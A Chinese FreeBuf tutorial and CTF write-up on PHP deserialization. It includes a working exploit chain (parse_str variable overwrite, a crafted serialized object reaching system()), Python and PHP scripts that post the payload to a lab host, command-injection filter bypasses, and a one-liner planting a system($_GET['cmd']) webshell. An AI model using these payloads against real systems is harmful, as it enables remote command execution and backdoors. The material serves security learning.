PHP反序列化漏洞簡介及相關技巧小結

2021-03-02 FreeBuf

要學習PHP反序列漏洞,先了解下PHP序列化和反序列化是什麼東西。

php程序為了保存和轉儲對象,提供了序列化的方法,php序列化是為了在程序運行的過程中對對象進行轉儲而產生的。序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。

php序列化的函數為serialize。反序列化的函數為unserialize。

序列化

舉個慄子:

<?php
class Test{ public$a = 'ThisA';
protected$b = 'ThisB';
private$c = 'ThisC';
publicfunction test1(){
                  return'this is test1 ';         }}$test = new Test();var_dump(serialize($test));?>

輸出:

解釋一下:

O代表是對象;:4表示改對象名稱有4個字符;:」Test」表示改對象的名稱;:3表示改對象裡有3個成員。

接著是括號裡面的。我們這個類的三個成員變量由於變量前的修飾不同,在序列化出來後顯示的也不同。

第一個變量a序列化後為 s:1:」a」;s:5:」ThisA」;

由於變量是有變量名和值的。所以序列化需要把這兩個都進行轉換。序列化後的字符串以分號分割每一個變量的特性。

這個要根據分號來分開看,分號左邊的是變量名,分號右邊的是變量的值。

先看左邊的。其實都是同理的。s表示是字符串,1表示該字符串中只有一個字符,」a」表示該字符串為a。右邊的同理可得。

第二個變量和第一個變量有所不同,多了個亂碼和 號。這是因為第一個變量a是public屬性,而第二個變量b是protected屬性,php為了區別這些屬性所以進行了一些修飾。這個亂碼查了下資料,其實是 %00(url編碼,hex也就是0x00)。表示的是NULL。所以protected屬性的表示方式是在變量名前加個%00%00

第三個變量的屬性是private。表示方式是在變量名前加上%00類名%00

可以看到雖然Test類中有test1這個方法,但是序列化後的字符串中並沒有包含這個方法的信息。所以序列化不保存方法。

反序列化

<?phpclass Test{         public$a = 'ThisA';         protected$b = 'ThisB';         private$c = 'ThisC';         publicfunction test1(){                  return'this is test1 ';         }}$test = new Test();$sTest = serialize($test);$usTest = unserialize($sTest);var_dump($usTest);?>

輸出:

可以看到類的成員變量被還原了,但是類方法沒有被還原,因為序列化的時候就沒保存方法。

魔術方法

大概了解了php序列化和序列化的過程,那麼就來介紹一下相關的魔術方法。

__construct 當一個對象創建時被調用

__destruct 當一個對象銷毀時被調用

__toString 當一個對象被當作一個字符串使用

__sleep 在對象被序列化之前運行

__wakeup 在對象被反序列化之後被調用

直接舉慄子吧:

<?phpclassTest{         public function __construct(){                  echo 'construct run';         }         public function __destruct(){                  echo 'destruct run';         }         public function __toString(){                  echo 'toString run';         }         public function __sleep(){                  echo 'sleep run';         }         public function __wakeup(){                  echo 'wakeup run';         }}echo'new了一個對象,對象被創建,執行__construct</br>';$test= new Test();echo'</br>serialize了一個對象,對象被序列化,先執行__sleep,再序列化</br>';$sTest= serialize($test);echo'</br>unserialize了一個序列化字符串,對象被反序列化,先反序列化,再執行__wakeup</br>';$usTest= unserialize($sTest);echo'</br>把Test這個對象當做字符串使用了,執行__toString</br>';$string= 'hello class ' . $test;echo'</br>程序運行完畢,對象自動銷毀,執行__destruct</br>';?>

輸出:

可以看到有一個警告一個報錯,是因為sleep函數期望能return一個數組,而toString函數則必須返回一個字符串。由於我們都是echo的沒有寫return,所以引發了這些報錯,那麼我們就按照報錯的來,要什麼加什麼。

輸出:

現在只需要明白這5個魔法函數的執行順序即可,至於裡面的代碼就要看程式設計師或者出題人怎麼寫了。。。對於__construct函數的話我個人認為好像莫有多大用。。也許是我菜吧。。感覺沒有什麼地方能在反序列化的時候用上。歡迎大佬指點。

一道題目引發的技巧小結

了解了反序列化的基礎和一些魔法函數後,我們來看到題吧。該題不僅考了反序列化,還簡單考察了一下變量覆蓋和命令注入的正則繞過。其中有一些坑我們可以看一下。

該題出處:https://www.cnblogs.com/nul1/p/9928797.html

源碼很簡單:

<?phperror_reporting(0);class come{       private $method;   private $args;   function __construct($method, $args) {       $this->method = $method;       $this->args = $args;    }   function __wakeup(){       foreach($this->args as $k => $v) {           $this->args[$k] = $this->waf(trim($v));       }    }   function waf($str){       $str=preg_replace("/[<>*;|?\n ]/","",$str);       $str=str_replace('flag','',$str);       return $str;   }              function echos($host){       system("echos $host".$host);    }   function __destruct(){       if (in_array($this->method, array("echos"))) {           call_user_func_array(array($this, $this->method), $this->args);       }    }}$first='hi';$var='var';$bbb='bbb';$ccc='ccc';$i=1;foreach($_GET as $key => $value) {       if($i===1)       {           $i++;              $$key = $value;       }       else{break;}}if($first==="doller"){   @parse_str($_GET['a']);   if($var==="give")    {       if($bbb==="me")       {           if($ccc==="flag")           {                echo"<br>welcome!<br>";                $come=@$_POST['come'];                unserialize($come);            }       }       else       {echo "<br>think about it<br>";}    }   else    {       echo "NO";    }}else{   echo "Can you hack me?<br>";}?>

拿到源碼我們先簡單瀏覽一下,看到parse_str就想到了用變量覆蓋來過這些if語句,而parse_str的參數是通過GET請求中的a參數中獲得,parse_str進行變量分割的符號是 & 號,沒怎麼多想就直接先打上一手請求先:

?first=doller&a=var=give&bbb=me&ccc=flag

我原本的意願是希望這樣子被解析

?first=doller&a=var=give&bbb=me&ccc=flag

希望紅字是一個整體,是一個字符串,是a這個參數的值。總共的GET參數就兩個,一個first一個a。但php解析的是。。。

?first=doller&a=var=give&bbb=me&ccc=flag

即有4個參數,a的值是var=give,但遇到&號在url中就被解析成了GET參數的分割符,認為bbb=me是一個新的GET的參數。

不過好在有URL編碼這種東西,可以在這有歧義的時候扭轉局勢,我們把&號進行URL編碼,這樣子解析時就會認為是一個字符串了。URL編碼可以用php的urlencode函數。得到&的URL編碼為%26。構造請求:

?first=doller&a=var=give%26bbb=me%26ccc=flag

看到了歡迎字樣:

查看代碼,發現到了反序列化的地方了。而反序列化的來源是通過POST提交的come參數

知道了要反序列化,接下來就是確定要反序列化的類了。這個源碼就一個類come。對這個類進行審計。

construct感覺沒什麼用,先扔在一邊,重點看wakeup和destruct函數,wakeup是調用了一個waf函數,用來做正則過濾的,這個我們先放一下,我們看__destruct函數,它使用了call_user_func_array這個php內置的方法,作用是調用一個指定方法。舉個這個函數的簡單慄子:

第一個參數是要調用的函數,第二個參數是一個數組,用於給調用的函數傳參。數組中第一個值就是函數中的第一個參數,以此類推。

但是題目中的call_user_func_array中的第一個參數是個數組,這什麼意思呢。。?

數組的話就是數組的第一個元素表示是該方法所在的類,第二個元素就是方法名。

我們來看看這個類的成員變量吧,在可以反序列化後,就要明白這個類中的所有成員變量都是我們可控的,所以call_user_func_array()中的$this->method和$this->args也就是我們可控的。不過由於執行這個函數要通過一個if,且調用的函數必須是本類的函數,那我們就只能看看本類中還有什麼方法吧。

我們看看進入call_user_func_array()函數前的if判斷,它判斷我們要調用的函數名是否在一個允許調用的列表裡,而這個列表就只有echos這一個函數,也就是說我們的method變量已經限定死了,必須為echos。

那麼我們只能去看看echos函數裡有什麼了,居然有system函數

那麼我們就可以進行命令注入了,可以看到echos函數就只有一個形參,結合上面我們說到的call_user_func_array()函數,就形成了這樣一個思路:

1、通過反序列化控制method和args兩個成員變量

2、 method必須是echos不然通不過if判斷

3、通過call_user_func_array()函數第一個參數調用本類中的echos方法,第二個參數給方法傳參-

4、由於echos方法中的system函數的參數是拼接形參的,完成命令注入。

思路有了,那麼我們看看args變量要怎麼寫吧。根據執行順序,先wakeup再destruct(由於是反序列化的,不會執行construct,只有new才會執行construct)。那麼我們看看wakeup中又進行了什麼操作

可以看到它默認將args變量視為一個數組,對其進行了foreach,然後又對數組中的每個元素送去了waf進行過濾。這表明我們傳入的args是一個數組。

再來看看waf函數是幹嘛的。

第一行,正則匹配args的元素,如果元素中出現將斜槓/之間的任意一個字符,就將他們替換為空。這裡過濾了|符號,這個有點傷,因為命令中是通過|進行管道的操作,在命令注入時用|進行拼接很有用,不過即使它禁用了,我們還可以通過& 達到多個命令一行執行的目的。

第二行,如果args中的元素中存在flag這個字符串,替換為空,也就是說我們要讀取flag文件時要通過雙寫flag進行繞過。

這裡注意一下system函數,有個坑。。。

echo寫錯寫成了echos。。。。即這個命令本身就是錯的,所以選擇命令的分隔符要慎重。

資料:

&是不管前後命令是否執行成功都會執行前後命令

&&是前面的命令執行成功才能執行後面的命令

||是前面的命令執行不成功才能執行後面的命令

|管道符

所以我們要使用&符而不能使用&&。

複製這一串序列化字符串到Postman上,然後既然我們都拿到源碼了,我們把第2行的error_reporting(0);先注釋起來,這個意思是抑制報錯,這對我們調試代碼很不友好,把報錯打開才能更快找到問題所在。

發送payload,emmm…… no responose?

在這裡思來想去,折騰了一下,後面通過var_dump才找到問題源頭(var_dump大法好)

前面剛說了要注意類型。。。private和protected的變量名前都是有0x00的。。。echo的輸出由於是NULL就空過去了,但是沒有逃過var_dump的法眼(var_dump大法好)

那麼我們就要手動添加0x00上去了,這裡可以用python、php等程式語言將0x00轉換成字符然後再通過他們自己的網絡模塊發送,

慄子:

python:(2.7)

通過decode和encode來進行編碼

import requests
s = requests.session()
url = "http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag"
n = '00'.decode('hex')
o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}'
r = requests.post(url,data={"come":o})
print(r.text)

php:

通過urldecode進行對%00進行解碼

<?php
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,'http://192.168.27.144/?first=doller&a=var=give%26bbb=me%26ccc=flag');
curl_setopt($curl,CURLOPT_POST, 1);
$n = urldecode('%00');
$o = 'O:4:"come":2:{s:12:"'.$n.'come'.$n.'method";s:5:"echos";s:10:"'.$n.'come'.$n.'args";a:1:{i:0;s:3:"&ls";}}';
curl_setopt($curl,CURLOPT_POSTFIELDS, ['come'=>$o]);
curl_exec($curl);
curl_close($curl);
?>

不過有更快的方法。。。直接通過postman的urlencode/urldecode即可。因為0x00也就是url編碼中的%00。所以url編碼一下就完事。

要用%00包裹住類名,不能包多了也不能包少了,雖然%00也算一個字符,但是Php序列化的時候已經幫我們算好了,所以不需要修改,或者說,我們之前的那個長度值就是錯的。。。

選中%00,右鍵,選擇decode即可。

結果:

我們再發送,有response了,

發現有flag.txt。由於我是windows環境,讀取文件使用type命令。

type命令格式:type文件路徑

修改payload。

發現無回顯

命令是對的,是因為剛剛我們忽略的waf函數在作怪。剛剛提到wakup時將每個args變量拿去在waf函數中洗了個澡。過濾內容為:

flag這個字符串被替換為空,可以通過雙寫flag來繞過:flflagag

不過在第一個正則中過濾了空格就有點難受了,總所周知系統命令都是要打個空格才能添加參數的,過濾了空格怎麼破?

思來想去後,發現windows沒有人提供資料,但是linux下有很多。

繞過方法:

!! (最好一開始就先用這個,執行上一條命令,也許有奇效。。)

cat${IFS}flag.txt

cat$flag.txt

cat<flag.txt

cat<>flag.txt

{cat,flag.txt}

KG=$'\x20flag.txt'&&cat$KG (\x20轉換成字符串就是空格,這裡通過變量的方式巧妙繞過)

隨便用一個(linux環境下):

windows環境下的話時我突發奇想隨便試出來的。適用性不是很廣,也就type這個命令能用用。。

type.\flag.txt

type,flag.txt

echo,123456

echo的話這個如果腦洞大點可以通過echo >>的方式將一句話追加到php文件末尾,達到getShell的目的。不過這樣子如果該php文件很規範的用了?>結尾就莫得,如果沒有那麼規範,沒用?>結尾就可以成功。

示例:

echo,@system($_GET[『cmd』]);>>index.php

然後就可以通過新的後門來getshell了。

*本文作者:xiaopan233,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載

相關焦點

  • PHP反序列化漏洞說明
    序列化可以將對象轉換成字符串,但僅保留對象裡的成員變量,不保留函數方法。PHP序列化的函數為serialize,反序列化的函數為unserialize.舉個慄子:<?反序列化反序列化就是序列化的逆過程,即對於將對象進行序列化後的字符串,還原其成員變量的過程。接上述慄子:<?
  • PHP反序列化筆記
    \x00 + 類名 + \x00 + 變量名 ‐> 反序列化為private變量\x00 + * + \x00 + 變量名 ‐> 反序列化為protected變量<?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}CVE-2016-7124漏洞介紹當序列化字符串中表示對象屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行演示代碼
  • 文庫 | 反序列化漏洞匯總
    因此,幾乎不可能預料到惡意數據的流動並堵塞(修復)每個潛在的漏洞。簡而言之,反序列化不受信任的輸入是不安全的。漏洞影響不安全的反序列化的影響可能非常嚴重,因為它為大規模增加攻擊面提供了切入點。它允許攻擊者以有害的方式重用現有的應用程式代碼,從而導致許多其他漏洞,通常是遠程執行代碼(RCE)。
  • php反序列化
    但是這裡XSS的觸發,是因為後面我們使用了類中的方法a(),還有一些自動觸發的魔術方法,現實中的反序列漏洞,往往就出現在魔術方法中。>Thinkphp5.0,5.1版本均存在反序列化,而且切入點都一樣,但因為thinkphp本身沒有反序列化入口,所以不被重視。
  • 原理+實踐掌握(PHP反序列化和Session反序列化)
    本文轉自先知社區:https://xz.aliyun.com/t/7366前言:最近又接觸了幾道php反序列化的題目,覺得對反序列化的理解又加深了一點,這次就在之前的學習的基礎上進行補充。0x02:PHP反序列化漏洞在學習漏洞前,先來了解一下PHP魔法函數,對接下來的學習會很有幫助PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術方法__construct 當一個對象創建時被調用,__destruct 當一個對象銷毀時被調用,__toString
  • 看代碼學安全(11) - unserialize反序列化漏洞
    漏洞解析:(上圖代碼第11行正則表達式應改為:』/O:d:/『)題目考察對php反序列化函數的利用。代碼 11行 ,第一個if,截取前兩個字符,判斷反序列化內容是否為對象,如果為對象,返回為空。php可反序列化類型有String,Integer,Boolean,Null,Array,Object。去除掉Object後,考慮採用數組中存儲對象進行繞過。
  • php 序列化與反序列化
    反序列化的問題,打算這篇文章寫一下php反序列化。 ' (length=10)可以看到__destruct方法在整個序列化過程結束時才會調用,調用的次數取決於序列化和反序列化的次數,__construct方法在new對象時調用,並不在序列化過程中調用,__wakeup和__sleep方法不再支持與調用 介紹完php序列化的基本內容,捎帶講一下常見的php序列化漏洞繞過:
  • Yii2 反序列化漏洞復現分析
    1、漏洞描述Yii是一套基於組件、用於開發大型Web應用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。
  • PHP一些常見的漏洞梳理
    以下主要是近期對php一些常見漏洞的梳理,包含php文件包含、php反序列化漏洞以及php偽協議。
  • Java安全之反序列化漏洞分析
    方法,而反序列化是由ObjectInputStream的readObject方法實現的,下圖是作者畫的一個序列化示意圖:何來的漏洞之說?呵呵,意外往往就發生在不經意之間,如果反序列化過程中提供了命令執行的機會,那麼任意命令執行漏洞就產生了,如下我們在Session對象的readObject函數中增加了執行命令的代碼:
  • 精通PHP序列化與反序列化之"道"
    序列化:將對象轉換成一個字符串,PHP序列化函數是:serialize() 反序列化:將序列化後的字符串還原為一個對象,PHP反序列化函數是:unserialize()在說反序列化漏洞之前我們先了解一下對象概念:我們舉個例子,如果把生物當成一個大類,那麼就可以分為動物和植物兩個類,而動物又可以分為食草動物和雜食動物,那有人可能會問了,為什麼這麼分呢
  • Java反序列化漏洞從理解到實踐
    利用某個反序列化漏洞。2. 自己手動創建利用載荷。更具體一點,首先我們會利用現有工具來實際操作反序列化漏洞,也會解釋操作的具體含義,其次我們會深入分析載荷相關內容,比如什麼是載荷、如何手動構造載荷等。完成這些步驟後,我們就能充分理解載荷的工作原理,未來碰到類似漏洞時也能掌握漏洞的處理方法。
  • SoapClient反序列化SSRF
    >$c->not_exists_function();CRLF漏洞從上圖可以看到,SOAPAction處可控,可以把\x0d\x0a注入到SOAPAction,POST請求的header就可以被控制<?
  • CTF中常見的PHP漏洞小結
    在做ctf題的時候經常會遇到一些PHP代碼審計的題目,這裡將我遇到過的常見漏洞做一個小結。md5()漏洞  PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每一個以」0E」開頭的哈希值都解釋為0,所以如果兩個不同的密碼經過哈希以後,其哈希值都是以」0E」開頭的,那麼PHP將會認為他們相同,都是0。
  • DASCTF-Esunserialize(反序列化字符逃逸)
    而值是兩個空字節和一個*,一共才3個字節,所以後面反序列化的時候會報錯。其實報錯的原因不是因為字符串長度不匹配,而是因為取了六個字符之後,後面字符的格式不符合序列化字符串格式,才會報錯。例如:取六個字符之後username的值為*";s:(其中還有一個空字節)。後面的格式不符合序列化字符串格式,拋出錯誤。PS:我個人理解是這樣的。
  • PHP-Session利用總結
    補充一下關於php-Session相關配置的說明在php.ini中對Session存在許多配置,這裡我們通過phpinfo來說明幾個重要的點。如下)使用不同引擎來處理session文件如果在PHP在反序列化存儲的$_SESSION數據時使用的引擎和序列化使用的引擎不一樣,會導致數據無法正確第反序列化。通過精心構造的數據包,就可以繞過程序的驗證或者是執行一些系統的方法。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    = php_serialize php5.5之後啟用 它是用serialize反序列化格式分割下面看一下針對PHP定義的不同方式對用戶的session是如何處理的,我們只有知道了伺服器是如何存儲session信息的,才能夠往session文件裡面傳入我們所精心製作的惡意代碼。
  • PHP phar反序列化原理詳解
    前段時間縱橫杯遇到一題反序列化,當時隊友做出來了,賽後嘗試復現一下,並總結反序列化內容。
  • 怎樣挖掘出屬於自己的php反序列化鏈
    簡單介紹在使用php的反序列化漏洞前需要兩個條件可以進行反序列化的點合理的pop chain這一對組合拳形成的反序列化漏洞可以進而造成RCE、文件讀寫、信息洩露等危害。本文不會對形成反序列化漏洞的點,進行講解,其它大師傅已經講解的十分詳細了。這裡就我這兩天的挖鏈經歷進行一個總結。
  • JAVA反序列化—FastJson抗爭的一生
    反序列化對象名稱:com.alibaba.fastjson.JSONObjectparseObject反序列化:{"name":"lala","age":11}//parseObject({},class)反序列化parseObject反序列化對象名稱:com.fastjson.UserparseObject反序列化:com.fastjson.User